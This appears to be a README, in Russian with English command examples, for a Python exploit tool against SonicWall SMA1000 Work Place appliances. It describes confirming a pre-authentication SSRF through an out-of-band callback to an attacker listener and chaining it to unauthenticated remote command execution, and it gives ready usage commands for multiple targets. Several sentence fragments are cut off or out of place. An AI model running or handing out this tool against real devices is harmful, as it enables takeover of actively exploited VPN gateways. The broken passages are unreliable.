
Однофайловый инструмент на Python, который выполняет фингерпринтинг устройств SonicWall SMA1000 Work Place, проверяет и подтверждает pre-auth SSRF (CVE-2026-83548) через out-of-band-перехват и выстраивает цепочку до RCE.
Однофайловый инструмент (Python 3, только стандартная библиотека, без зависимостей) для оценки и эксплуатации SSRF до аутентификации в интерфейсе Work Place устройств SonicWall SMA1000 (6210 / 7210 / 8200v), включая оппортунистическую цепочку до RCE без аутентификации через CVE-2026-83549.
| CVE | CVE-2026-83548 (SSRF, CWE-918/CWE-441), CVSS 10.0 |
| Цепочка | CVE-2026-83549 — инъекция команд ОС в AMC (после аутентификации), обходится через SSRF |
| Механизм | Интерфейс Work Place ведёт себя как непредусмотренный прямой прокси: устройство перенаправляет сформированные запросы к внутренним ресурсам (включая AMC), используя своё привилегированное сетевое положение, при этом аутентификация не требуется ни на одном этапе |
| Затронуто | SMA1000 ≤ 12.4.3-03453 и ≤ 12.5.0-02835 |
| Исправлено | 12.4.3-03526 / 12.5.0-02952 (уведомление SonicWall SNWLID-2026-0016) |
| Статус | Активно эксплуатируется в реальных атаках; в CISA KEV с 2026-09-02; обходного решения нет — только установка патча |
Server: SMA/*, ресурсы __extraweb__, версия из ссылок
справки; классификация относительно исправленных сборок (PATCHED / AFFECTED /
POTENTIALLY_AFFECTED / NOT_SMA1000)./cgi-bin/ и форму прямого прокси
«абсолютный URI как путь») и оценивает аномалии относительно базовой линии:
изменение кода состояния, разница задержки, новые заголовки ответа, разница тела.
Векторы, заданные оператором, принимаются через --vector (можно повторять).# Fingerprint / patch-state only (read-only)
python3 exploit_cve_2026_83548.py --fingerprint-only vpn.example.com
# Full pass: vector probing + out-of-band SSRF confirmation
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
--oob-timeout 5 vpn.example.com
# + RCE chain attempt (default command: id)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> --rce \
--rce-cmd 'id' vpn.example.com
# Known vector (bypasses the default candidate set), JSON report
python3 exploit_cve_2026_83548.py --json --skip-probe \
--vector 'POST:/cgi-bin/:url={T}' --listen --attacker-ip <your_visible_IP> \
-k -t 10 203.0.113.10
# Multiple targets in sequence (exit code = worst verdict)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
vpn-a.example.com vpn-b.example.com
--attacker-ip — IP-адрес, с которого устройство должно иметь возможность достучаться до вашего слушателя захвата (127.0.0.1 для локальных проверок; сетевой адрес плюс проброс порта для удалённых). Без него инструмент угадывает локальный IP, что часто не работает внутри контейнеров/VPN-конфигураций.
| Код | Значение |
|---|---|
| 0 | пропатчено / не подвержено |
| 1 | подвержено по версии, либо SSRF подтверждён, либо затронутая линейка прошивки с неопределённой точной сборкой |
| 2 | неаутентифицированный RCE подтверждён (цепочка сработала) |
| 3 | цель не является порталом SMA1000 Work Place |
| 4 | ошибка соединения/прочая ошибка |
12.5.0), а не точную сборку хотфикса — типичный результат
POTENTIALLY_AFFECTED, что требует подтверждения сборки на
самом устройстве.